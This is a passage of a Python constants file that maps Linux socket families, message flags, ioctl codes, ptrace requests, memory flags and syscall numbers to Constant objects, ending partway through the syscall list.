Constant('AF_UNIX',1)\nAF_LOCAL = Constant('AF_LOCAL',1)\nAF_INET = Constant('AF_INET',2)\nAF_AX25 = Constant('AF_AX25',3)\nAF_IPX = Constant('AF_IPX',4)\nAF_APPLETALK = Constant('AF_APPLETALK',5)\nAF_NETROM = Constant('AF_NETROM',6)\nAF_BRIDGE = Constant('AF_BRIDGE',7)\nAF_ATMPVC = Constant('AF_ATMPVC',8)\nAF_X25 = Constant('AF_X25',9)\nAF_INET6 = Constant('AF_INET6',10)\nAF_ROSE = Constant('AF_ROSE',11)\nAF_DECnet = Constant('AF_DECnet',12)\nAF_NETBEUI = Constant('AF_NETBEUI',13)\nAF_SECURITY = Constant('AF_SECURITY',14)\nAF_KEY = Constant('AF_KEY',15)\nAF_NETLINK = Constant('AF_NETLINK',16)\nAF_ROUTE = Constant('AF_ROUTE',16)\nAF_PACKET = Constant('AF_PACKET',17)\nAF_ASH = Constant('AF_ASH',18)\nAF_ECONET = Constant('AF_ECONET',19)\nAF_ATMSVC = Constant('AF_ATMSVC',20)\nAF_SNA = Constant('AF_SNA',22)\nAF_IRDA = Constant('AF_IRDA',23)\nAF_PPPOX = Constant('AF_PPPOX',24)\nAF_WANPIPE = Constant('AF_WANPIPE',25)\nAF_LLC = Constant('AF_LLC',26)\nAF_IB = Constant('AF_IB',27)\nAF_MPLS = Constant('AF_MPLS',28)\nAF_CAN = Constant('AF_CAN',29)\nAF_TIPC = Constant('AF_TIPC',30)\nAF_BLUETOOTH = Constant('AF_BLUETOOTH',31)\nAF_IUCV = Constant('AF_IUCV',32)\nAF_RXRPC = Constant('AF_RXRPC',33)\nAF_ISDN = Constant('AF_ISDN',34)\nAF_PHONET = Constant('AF_PHONET',35)\nAF_IEEE802154 = Constant('AF_IEEE802154',36)\nAF_CAIF = Constant('AF_CAIF',37)\nAF_ALG = Constant('AF_ALG',38)\nAF_NFC = Constant('AF_NFC',39)\nAF_VSOCK = Constant('AF_VSOCK',40)\nAF_KCM = Constant('AF_KCM',41)\nAF_QIPCRTR = Constant('AF_QIPCRTR',42)\nAF_SMC = Constant('AF_SMC',43)\nAF_MAX = Constant('AF_MAX',44)\nPF_UNSPEC = Constant('PF_UNSPEC',0)\nPF_UNIX = Constant('PF_UNIX',1)\nPF_LOCAL = Constant('PF_LOCAL',1)\nPF_INET = Constant('PF_INET',2)\nPF_AX25 = Constant('PF_AX25',3)\nPF_IPX = Constant('PF_IPX',4)\nPF_APPLETALK = Constant('PF_APPLETALK',5)\nPF_NETROM = Constant('PF_NETROM',6)\nPF_BRIDGE = Constant('PF_BRIDGE',7)\nPF_ATMPVC = Constant('PF_ATMPVC',8)\nPF_X25 = Constant('PF_X25',9)\nPF_INET6 = Constant('PF_INET6',10)\nPF_ROSE = Constant('PF_ROSE',11)\nPF_DECnet = Constant('PF_DECnet',12)\nPF_NETBEUI = Constant('PF_NETBEUI',13)\nPF_SECURITY = Constant('PF_SECURITY',14)\nPF_KEY = Constant('PF_KEY',15)\nPF_NETLINK = Constant('PF_NETLINK',16)\nPF_ROUTE = Constant('PF_ROUTE',16)\nPF_PACKET = Constant('PF_PACKET',17)\nPF_ASH = Constant('PF_ASH',18)\nPF_ECONET = Constant('PF_ECONET',19)\nPF_ATMSVC = Constant('PF_ATMSVC',20)\nPF_SNA = Constant('PF_SNA',22)\nPF_IRDA = Constant('PF_IRDA',23)\nPF_PPPOX = Constant('PF_PPPOX',24)\nPF_WANPIPE = Constant('PF_WANPIPE',25)\nPF_LLC = Constant('PF_LLC',26)\nPF_IB = Constant('PF_IB',27)\nPF_MPLS = Constant('PF_MPLS',28)\nPF_CAN = Constant('PF_CAN',29)\nPF_TIPC = Constant('PF_TIPC',30)\nPF_BLUETOOTH = Constant('PF_BLUETOOTH',31)\nPF_IUCV = Constant('PF_IUCV',32)\nPF_RXRPC = Constant('PF_RXRPC',33)\nPF_ISDN = Constant('PF_ISDN',34)\nPF_PHONET = Constant('PF_PHONET',35)\nPF_IEEE802154 = Constant('PF_IEEE802154',36)\nPF_CAIF = Constant('PF_CAIF',37)\nPF_ALG = Constant('PF_ALG',38)\nPF_NFC = Constant('PF_NFC',39)\nPF_VSOCK = Constant('PF_VSOCK',40)\nPF_KCM = Constant('PF_KCM',41)\nPF_QIPCRTR = Constant('PF_QIPCRTR',42)\nPF_SMC = Constant('PF_SMC',43)\nPF_MAX = Constant('PF_MAX',44)\nSOMAXCONN = Constant('SOMAXCONN',128)\nMSG_OOB = Constant('MSG_OOB',1)\nMSG_PEEK = Constant('MSG_PEEK',2)\nMSG_DONTROUTE = Constant('MSG_DONTROUTE',4)\nMSG_TRYHARD = Constant('MSG_TRYHARD',4)\nMSG_CTRUNC = Constant('MSG_CTRUNC',8)\nMSG_PROBE = Constant('MSG_PROBE',0x10)\nMSG_TRUNC = Constant('MSG_TRUNC',0x20)\nMSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40)\nMSG_EOR = Constant('MSG_EOR',0x80)\nMSG_WAITALL = Constant('MSG_WAITALL',0x100)\nMSG_FIN = Constant('MSG_FIN',0x200)\nMSG_SYN = Constant('MSG_SYN',0x400)\nMSG_CONFIRM = Constant('MSG_CONFIRM',0x800)\nMSG_RST = Constant('MSG_RST',0x1000)\nMSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000)\nMSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000)\nMSG_MORE = Constant('MSG_MORE',0x8000)\nMSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000)\nMSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000)\nMSG_BATCH = Constant('MSG_BATCH',0x40000)\nMSG_EOF = Constant('MSG_EOF',0x200)\nMSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000)\nMSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000)\nMSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000)\nSOL_IP = Constant('SOL_IP',0)\nSOL_TCP = Constant('SOL_TCP',6)\nSOL_UDP = Constant('SOL_UDP',17)\nSOL_IPV6 = Constant('SOL_IPV6',41)\nSOL_ICMPV6 = Constant('SOL_ICMPV6',58)\nSOL_SCTP = Constant('SOL_SCTP',132)\nSOL_UDPLITE = Constant('SOL_UDPLITE',136)\nSOL_RAW = Constant('SOL_RAW',255)\nSOL_IPX = Constant('SOL_IPX',256)\nSOL_AX25 = Constant('SOL_AX25',257)\nSOL_ATALK = Constant('SOL_ATALK',258)\nSOL_NETROM = Constant('SOL_NETROM',259)\nSOL_ROSE = Constant('SOL_ROSE',260)\nSOL_DECNET = Constant('SOL_DECNET',261)\nSOL_X25 = Constant('SOL_X25',262)\nSOL_PACKET = Constant('SOL_PACKET',263)\nSOL_ATM = Constant('SOL_ATM',264)\nSOL_AAL = Constant('SOL_AAL',265)\nSOL_IRDA = Constant('SOL_IRDA',266)\nSOL_NETBEUI = Constant('SOL_NETBEUI',267)\nSOL_LLC = Constant('SOL_LLC',268)\nSOL_DCCP = Constant('SOL_DCCP',269)\nSOL_NETLINK = Constant('SOL_NETLINK',270)\nSOL_TIPC = Constant('SOL_TIPC',271)\nSOL_RXRPC = Constant('SOL_RXRPC',272)\nSOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273)\nSOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274)\nSOL_PNPIPE = Constant('SOL_PNPIPE',275)\nSOL_RDS = Constant('SOL_RDS',276)\nSOL_IUCV = Constant('SOL_IUCV',277)\nSOL_CAIF = Constant('SOL_CAIF',278)\nSOL_ALG = Constant('SOL_ALG',279)\nSOL_NFC = Constant('SOL_NFC',280)\nSOL_KCM = Constant('SOL_KCM',281)\nSOL_TLS = Constant('SOL_TLS',282)\nIPX_TYPE = Constant('IPX_TYPE',1)\nSHUT_RD = Constant('SHUT_RD',0)\nSHUT_WR = Constant('SHUT_WR',1)\nSHUT_RDWR = Constant('SHUT_RDWR',2)\nNI_NOFQDN = Constant('NI_NOFQDN',1)\nNI_NUMERICHOST = Constant('NI_NUMERICHOST',2)\nNI_NAMEREQD = Constant('NI_NAMEREQD',4)\nNI_NUMERICSERV = Constant('NI_NUMERICSERV',8)\nNI_DGRAM = Constant('NI_DGRAM',16)\nEAI_FAMILY = Constant('EAI_FAMILY',-1)\nEAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2)\nEAI_BADFLAGS = Constant('EAI_BADFLAGS',-3)\nEAI_NONAME = Constant('EAI_NONAME',-4)\nEAI_SERVICE = Constant('EAI_SERVICE',-5)\nEAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6)\nEAI_NODATA = Constant('EAI_NODATA',-7)\nEAI_MEMORY = Constant('EAI_MEMORY',-8)\nEAI_FAIL = Constant('EAI_FAIL',-9)\nEAI_AGAIN = Constant('EAI_AGAIN',-10)\nEAI_SYSTEM = Constant('EAI_SYSTEM',-11)\nAI_NUMERICHOST = Constant('AI_NUMERICHOST',1)\nAI_CANONNAME = Constant('AI_CANONNAME',2)\nAI_PASSIVE = Constant('AI_PASSIVE',4)\nAI_NUMERICSERV = Constant('AI_NUMERICSERV',8)\nAI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16)\nAI_V4MAPPED = Constant('AI_V4MAPPED',32)\nAI_ALL = Constant('AI_ALL',64)\nSIOCADDRT = Constant('SIOCADDRT',0x890B)\nSIOCDELRT = Constant('SIOCDELRT',0x890C)\nSIOCRTMSG = Constant('SIOCRTMSG',0x890D)\nSIOCGIFNAME = Constant('SIOCGIFNAME',0x8910)\nSIOCSIFLINK = Constant('SIOCSIFLINK',0x8911)\nSIOCGIFCONF = Constant('SIOCGIFCONF',0x8912)\nSIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913)\nSIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914)\nSIOCGIFADDR = Constant('SIOCGIFADDR',0x8915)\nSIOCSIFADDR = Constant('SIOCSIFADDR',0x8916)\nSIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917)\nSIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918)\nSIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919)\nSIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a)\nSIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b)\nSIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c)\nSIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d)\nSIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e)\nSIOCGIFMEM = Constant('SIOCGIFMEM',0x891f)\nSIOCSIFMEM = Constant('SIOCSIFMEM',0x8920)\nSIOCGIFMTU = Constant('SIOCGIFMTU',0x8921)\nSIOCSIFMTU = Constant('SIOCSIFMTU',0x8922)\nSIOCSIFNAME = Constant('SIOCSIFNAME',0x8923)\nSIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924)\nSIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925)\nSIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926)\nSIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927)\nSIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929)\nSIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930)\nSIOCADDMULTI = Constant('SIOCADDMULTI',0x8931)\nSIOCDELMULTI = Constant('SIOCDELMULTI',0x8932)\nSIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933)\nSIOGIFINDEX = Constant('SIOGIFINDEX',0x8933)\nSIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934)\nSIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935)\nSIOCDIFADDR = Constant('SIOCDIFADDR',0x8936)\nSIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937)\nSIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938)\nSIOCGIFBR = Constant('SIOCGIFBR',0x8940)\nSIOCSIFBR = Constant('SIOCSIFBR',0x8941)\nSIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942)\nSIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943)\nSIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944)\nSIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945)\nSIOCETHTOOL = Constant('SIOCETHTOOL',0x8946)\nSIOCDARP = Constant('SIOCDARP',0x8953)\nSIOCGARP = Constant('SIOCGARP',0x8954)\nSIOCSARP = Constant('SIOCSARP',0x8955)\nSIOCDRARP = Constant('SIOCDRARP',0x8960)\nSIOCGRARP = Constant('SIOCGRARP',0x8961)\nSIOCSRARP = Constant('SIOCSRARP',0x8962)\nSIOCGIFMAP = Constant('SIOCGIFMAP',0x8970)\nSIOCSIFMAP = Constant('SIOCSIFMAP',0x8971)\nSIOCADDDLCI = Constant('SIOCADDDLCI',0x8980)\nSIOCDELDLCI = Constant('SIOCDELDLCI',0x8981)\nSIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0)\nF_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)\nF_SETOWN_EX = Constant('F_SETOWN_EX',15)\nF_GETOWN_EX = Constant('F_GETOWN_EX',16)\nF_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17)\nF_OFD_GETLK = Constant('F_OFD_GETLK',36)\nF_OFD_SETLK = Constant('F_OFD_SETLK',37)\nF_OFD_SETLKW = Constant('F_OFD_SETLKW',38)\nF_OWNER_TID = Constant('F_OWNER_TID',0)\nF_OWNER_PID = Constant('F_OWNER_PID',1)\nF_OWNER_PGRP = Constant('F_OWNER_PGRP',2)\nAT_FDCWD = Constant('AT_FDCWD',-100)\nAT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100)\nAT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200)\nAT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400)\nAT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800)\nAT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000)\nAT_EACCESS = Constant('AT_EACCESS',0x200)\nMREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)\nMREMAP_FIXED = Constant('MREMAP_FIXED',2)\nPROT_READ = Constant('PROT_READ',0x1)\nPROT_WRITE = Constant('PROT_WRITE',0x2)\nPROT_EXEC = Constant('PROT_EXEC',0x4)\nPROT_SEM = Constant('PROT_SEM',0x8)\nPROT_NONE = Constant('PROT_NONE',0x0)\nPROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000)\nPROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000)\nMAP_SHARED = Constant('MAP_SHARED',0x01)\nMAP_PRIVATE = Constant('MAP_PRIVATE',0x02)\nMAP_TYPE = Constant('MAP_TYPE',0xf)\nMADV_REMOVE = Constant('MADV_REMOVE',9)\nMADV_DONTFORK = Constant('MADV_DONTFORK',10)\nMADV_DOFORK = Constant('MADV_DOFORK',11)\nMADV_MERGEABLE = Constant('MADV_MERGEABLE',12)\nMADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13)\nMADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14)\nMADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15)\nMADV_DONTDUMP = Constant('MADV_DONTDUMP',16)\nMADV_DODUMP = Constant('MADV_DODUMP',17)\nMADV_HWPOISON = Constant('MADV_HWPOISON',100)\nMADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101)\nMLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1)\nMAP_FILE = Constant('MAP_FILE',0)\nPTRACE_TRACEME = Constant('PTRACE_TRACEME',0)\nPTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1)\nPTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2)\nPTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3)\nPTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3)\nPTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4)\nPTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5)\nPTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6)\nPTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6)\nPTRACE_CONT = Constant('PTRACE_CONT',7)\nPTRACE_KILL = Constant('PTRACE_KILL',8)\nPTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9)\nPTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10)\nPTRACE_DETACH = Constant('PTRACE_DETACH',0x11)\nPTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24)\nPTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201)\nPTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202)\nPTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203)\nPTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001)\nPTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002)\nPTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004)\nPTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008)\nPTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010)\nPTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020)\nPTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040)\nPTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f)\nPTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1)\nPTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2)\nPTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3)\nPTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4)\nPTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5)\nPTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6)\nPT_TRACE_ME = Constant('PT_TRACE_ME',0)\nPT_READ_I = Constant('PT_READ_I',1)\nPT_READ_D = Constant('PT_READ_D',2)\nPT_READ_U = Constant('PT_READ_U',3)\nPT_WRITE_I = Constant('PT_WRITE_I',4)\nPT_WRITE_D = Constant('PT_WRITE_D',5)\nPT_WRITE_U = Constant('PT_WRITE_U',6)\nPT_CONTINUE = Constant('PT_CONTINUE',7)\nPT_KILL = Constant('PT_KILL',8)\nPT_STEP = Constant('PT_STEP',9)\nPT_ATTACH = Constant('PT_ATTACH',0x10)\nPT_DETACH = Constant('PT_DETACH',0x11)\nSYS_accept = Constant('SYS_accept',202)\nSYS_accept4 = Constant('SYS_accept4',242)\nSYS_acct = Constant('SYS_acct',89)\nSYS_add_key = Constant('SYS_add_key',217)\nSYS_adjtimex = Constant('SYS_adjtimex',171)\nSYS_arch_specific_syscall = Constant('SYS_arch_specific_syscall',244)\nSYS_bind = Constant('SYS_bind',200)\nSYS_bpf = Constant('SYS_bpf',280)\nSYS_brk = Constant('SYS_brk',214)\nSYS_cachestat = Constant('SYS_cachestat',451)\nSYS_capget = Constant('SYS_capget',90)\nSYS_capset = Constant('SYS_capset',91)\nSYS_chdir = Constant('SYS_chdir',49)\nSYS_chroot = Constant('SYS_chroot',51)\nSYS_clock_adjtime = Constant('SYS_clock_adjtime',266)\nSYS_clock_getres = Constant('SYS_clock_getres',114)\nSYS_clock_gettime = Constant('SYS_clock_gettime',113)\nSYS_clock_nanosleep = Constant('SYS_clock_nanosleep',115)\nSYS_clock_settime = Constant('SYS_clock_settime',112)\nSYS_clone = Constant('SYS_clone',220)\nSYS_clone3 = Constant('SYS_clone3',435)\nSYS_close = Constant('SYS_close',57)\nSYS_close_range = Constant('SYS_close_range',436)\nSYS_connect = Constant('SYS_connect',203)\nSYS_copy_file_range = Constant('SYS_copy_file_range',285)\nSYS_delete_module = Constant('SYS_delete_module',106)\nSYS_dup = Constant('SYS_dup',23)\nSYS_dup3 = Constant('SYS_dup3',24)\nSYS_epoll_create1 = Constant('SYS_epoll_create1',20)\nSYS_epoll_ctl = Constant('SYS_epoll_ctl',21)\nSYS_epoll_pwait = Constant('SYS_epoll_pwait',22)\nSYS_epoll_pwait2 = Constant('SYS_epoll_pwait2',441)\nSYS_eventfd2 = Constant('SYS_eventfd2',19)\nSYS_execve = Constant('SYS_execve',221)\nSYS_execveat = Constant('SYS_execveat',281)\nSYS_exit = Constant('SYS_exit',93)\nSYS_exit_group = Constant('SYS_exit_group',94)\nSYS_faccessat = Constant('SYS_faccessat',48)\nSYS_faccessat2 = Constant('SYS_faccessat2',439)\nSYS_fadvise64 = Constant('SYS_fadvise64',223)\nSYS_fallocate = Constant('SYS_fallocate',47)\nSYS_fanotify_init = Constant('SYS_fanotify_init',262)\nSYS_fanotify_mark = Constant('SYS_fanotify_mark',263)\nSYS_fchdir = Constant('SYS_fchdir',50)\nSYS_fchmod = Constant('SYS_fchmod',52)\nSYS_fchmodat = Constant('SYS_fchmodat',53)\nSYS_fchmodat2 = Constant('SYS_fchmodat2',452)\nSYS_fchown = Constant('SYS_fchown',55)\nSYS_fchownat = Constant('SYS_fchownat',54)\nSYS_fcntl = Constant('SYS_fcntl',25)\nSYS_fdatasync = Constant('SYS_fdatasync',83)\nSYS_fgetxattr = Constant('SYS_fgetxattr',10)\nSYS_finit_module = Constant('SYS_finit_module',273)\nSYS_flistxattr = Constant('SYS_flistxattr',13)\nSYS_flock = Constant('SYS_flock',32)\nSYS_fremovexattr = Constant('SYS_fremovexattr',16)\nSYS_fsconfig = Constant('SYS_fsconfig',431)\nSYS_fsetxattr = Constant('SYS_fsetxattr',7)\nSYS_fsmount = Constant('SYS_fsmount',432)\nSYS_fsopen = Constant('SYS_fsopen',430)\nSYS_fspick = Constant('SYS_fspick',433)\nSYS_fstatfs = Constant('SYS_fstatfs',44)\nSYS_fsync = Constant('SYS_fsync',82)\nSYS_ftruncate = Constant('SYS_ftruncate',46)\nSYS_futex = Constant('SYS_futex',98)\nSYS_futex_requeue = Constant('SYS_futex_requeue',456)\nSYS_futex_wait = Constant('SYS_futex_wait',455)\nSYS_futex_waitv = Constant('SYS_futex_waitv',449)\nSYS_futex_wake = Constant('SYS_futex_wake',454)\nSYS_getcpu = Constant('SYS_getcpu',168)\nSYS_getcwd = Constant('SYS_getcwd',17)\nSYS_getdents64 = Constant('SYS_getdents64',61)\nSYS_getegid = Constant('SYS_getegid',177)\nSYS_geteuid = Constant('SYS_geteuid',175)\nSYS_getgid = Constant('SYS_getgid',176)\nSYS_getgroups = Constant('SYS_getgroups',158)\nSYS_getitimer = Constant('SYS_getitimer',102)\nSYS_get_mempolicy = Constant('SYS_get_mempolicy',236)\nSYS_getpeername = Constant('SYS_getpeername',205)\nSYS_getpgid = Constant('SYS_getpgid',155)\nSYS_getpid = Constant('SYS_getpid',172)\nSYS_getppid = Constant('SYS_getppid',173)\nSYS_getpriority = Constant('SYS_getpriority',141)\nSYS_getrandom = Constant('SYS_getrandom',278)\nSYS_getresgid = Constant('SYS_getresgid',150)\nSYS_getresuid = Constant('SYS_getresuid',148)\nSYS_get_robust_list = Constant('SYS_get_robust_list',100)\nSYS_getrusage = Constant('SYS_getrusage',165)\nSYS_getsid = Constant('SYS_getsid',156)\nSYS_getsockname = Constant('SYS_getsockname',204)\nSYS_getsockopt = Constant('SYS_getsockopt',209)\nSYS_gettid = Constant('SYS_gettid',178)\nSYS_gettimeofday = Constant('SYS_gettimeofday',169)\nSYS_getuid = Constant('SYS_getuid',174)\nSYS_getxattr = Constant('SYS_getxattr',8)\nSYS_init_module = Constant('SYS_init_module',105)\nSYS_inotify_add_watch = Constant('SYS_inotify_add_watch',27)\nSYS_inotify_init1 = Constant('SYS_inotify_init1',26)\nSYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',28)\nSYS_io_cancel = Constant('SYS_io_cancel',3)\nSYS_ioctl = Constant('SYS_ioctl',29)\nSYS_io_destroy = Constant('SYS_io_destroy',1)\nSYS_io_getevents = Constant('SYS_io_getevents',4)\nSYS_io_pgetevents = Constant('SYS_io_pgetevents',292)\nSYS_ioprio_get = Constant('SYS_ioprio_get',31)\nSYS_ioprio_set = Constant('SYS_ioprio_set',30)\nSYS_io_setup = Constant('SYS_io_setup',0)\nSYS_io_submit = Constant('SYS_io_submit',2)\nSYS_io_uring_enter = Constant('SYS_io_uring_enter',426)\nSYS_io_uring_register = Constant('SYS_io_uring_register',427)\nSYS_io_uring_setup = Constant('SYS_io_uring_setup',425)\nSYS_kcmp = Constant('SYS_kcmp',272)\nSYS_kexec_file_load = Constant('SYS_kexec_file_load',294)\nSYS_kexec_load = Constant('SYS_kexec_load',104)\nSYS_keyctl = Constant('SYS_keyctl',219)\nSYS_kill = Constant('SYS_kill',129)\nSYS_landlock_add_rule = Constant('SYS_landlock_add_rule',445)\nSYS_landlock_create_ruleset = Constant('SYS_landlock_create_ruleset',444)\nSYS_landlock_restrict_self = Constant('SYS_landlock_restrict_self',446)\nSYS_lgetxattr = Constant('SYS_lgetxattr',9)\nSYS_linkat = Constant('SYS_linkat',37)\nSYS_listen = Constant('SYS_listen',201)\nSYS_listxattr = Constant('SYS_listxattr',11)\nSYS_llistxattr = Constant('SYS_llistxattr',12)\nSYS_lookup_dcookie = Constant('SYS_lookup_dcookie',18)\nSYS_lremovexattr = Constant('SYS_lremovexattr',15)\nSYS_lseek = Constant('SYS_lseek',62)\nSYS_lsetxattr = Constant('SYS_lsetxattr',6)\nSYS_madvise = Constant('SYS_madvise',233)\nSYS_map_shadow_stack = Constant('SYS_map_shadow_stack',453)\nSYS_mbind = Constant('SYS_mbind',235)\nSYS_membarrier = Constant('SYS_membarrier',283)\nSYS_memfd_create = Constant('SYS_memfd_create',279)\nSYS_migrate_pages = Constant('SYS_migrate_pages',238)\nSYS_mincore = Constant('SYS_mincore',232)\nSYS_mkdirat = Constant('SYS_mkdirat',34)\nSYS_mknodat = Constant('SYS_mknodat',33)\nSYS_mlock = Constant('SYS_mlock',228)\nSYS_mlock2 = Constant('SYS_mlock2',284)\nSYS_mlockall = Constant('SYS_mlockall',230)\nSYS_mmap = Constant('SYS_mmap',222)\nSYS_mount = Constant('SYS_mount',40)\nSYS_mount_setattr = Constant('SYS_mount_setattr',442)\nSYS_move_mount = Constant('SYS_move_mount',429)\nSYS_move_pages = Constant('SYS_move_pages',239)\nSYS_mprotect = Constant('SYS_mprotect',226)\nSYS_mq_getsetattr = Constant('SYS_mq_getsetattr',185)\nSYS_mq_notify = Constant('SYS_mq_notify',184)\nSYS_mq_open = Constant('SYS_mq_open',180)\nSYS_mq_timedreceive = Constant('SYS_mq_timedreceive',183)\nSYS_mq_timedsend = Constant('SYS_mq_timedsend',182)\nSYS_mq_unlink = Constant('SYS_mq_unlink',181)\nSYS_mremap = Constant('SYS_mremap',216)\nSYS_msgctl = Constant('SYS_msgctl',187)\nSYS_msgget = Constant('SYS_msgget',186)\nSYS_msgrcv = Constant('SYS_msgrcv',188)\nSYS_msgsnd = Constant('SYS_msgsnd',189)\nSYS_msync = Constant('SYS_msync',227)\nSYS_munlock = Constant('SYS_munlock',229)\nSYS_munlockall = Constant('SYS_munlockall',231)\nSYS_munmap = Constant('SYS_munmap',215)\nSYS_name_to_handle_at = Constant('SYS_name_to_handle_at',264)\nSYS_nanosleep = Constant('SYS_nanosleep',101)\nSYS_nfsservctl = Constant('SYS_nfsservctl',42)\nSYS_openat = Constant('SYS_openat',56)\nSYS_openat2 = Constant('SYS_openat2',437)\nSYS_open_by_handle_at = Constant('SYS_open_by_handle_at',265)\nSYS_open_tree = Constant('SYS_open_tree',428)\nSYS_perf_event_open = Constant('SYS_perf_event_open',241)\nSYS_personality = Constant('SYS_personality',92)\nSYS_pidfd_getfd = Constant('SYS_pidfd_getfd',438)\nSYS_pidfd_open = Constant('SYS_pidfd_open',434)\nSYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',424)\nSYS_pipe2 = Constant('SYS_pipe2',59)\nSYS_pivot_root = Constant('SYS_pivot_root',41)\nSYS_pkey_alloc = Constant('SYS_pkey_alloc',289)\nSYS_pkey_free = Constant('SYS_pkey_free',290)\nSYS_pkey_mprotect = Constant('SYS_pkey_mprotect',288)\nSYS_ppoll = Constant('SYS_ppoll',73)\nSYS_prctl = Constant('SYS_prctl',167)\nSYS_pread64 = Constant('SYS_pread64',67)\nSYS_preadv = Constant('SYS_preadv',69)\nSYS_preadv2 = Constant('SYS_preadv2',286)\nSYS_prlimit64 = Constant('SYS_prlimit64',261)\nSYS_process_madvise = Constant('SYS_process_madvise',440)\nSYS_process_mrelease = Constant('SYS_process_mrelease',448)\nSYS_process_vm_readv = Constant('SYS_process_vm_readv',270)\nSYS_process_vm_writev = Constant('SYS_process_vm_writev',271)\nSYS_pselect6 = Constant('SYS_pselect6',72)\nSYS_ptrace = Constant('SYS_ptrace',117)\nSYS_pwrite64 = Constant('SYS_pwrite64',68)\nSYS_pwritev = Constant('SYS_pwritev',70)\nSYS_pwritev2 = Constant('SYS_pwritev2',287)\nSYS_quotactl = Constant('SYS_quotactl',60)\nSYS_quotactl_fd = Constant('SYS_quotactl_fd',443)\nSYS_read = Constant('SYS_read',63)\nSYS_readahead = Constant('SYS_readahead',213)\nSYS_readlinkat = Constant('SYS_readlinkat',78)\nSYS_readv = Constant('SYS_readv',65)\nSYS_reboot = 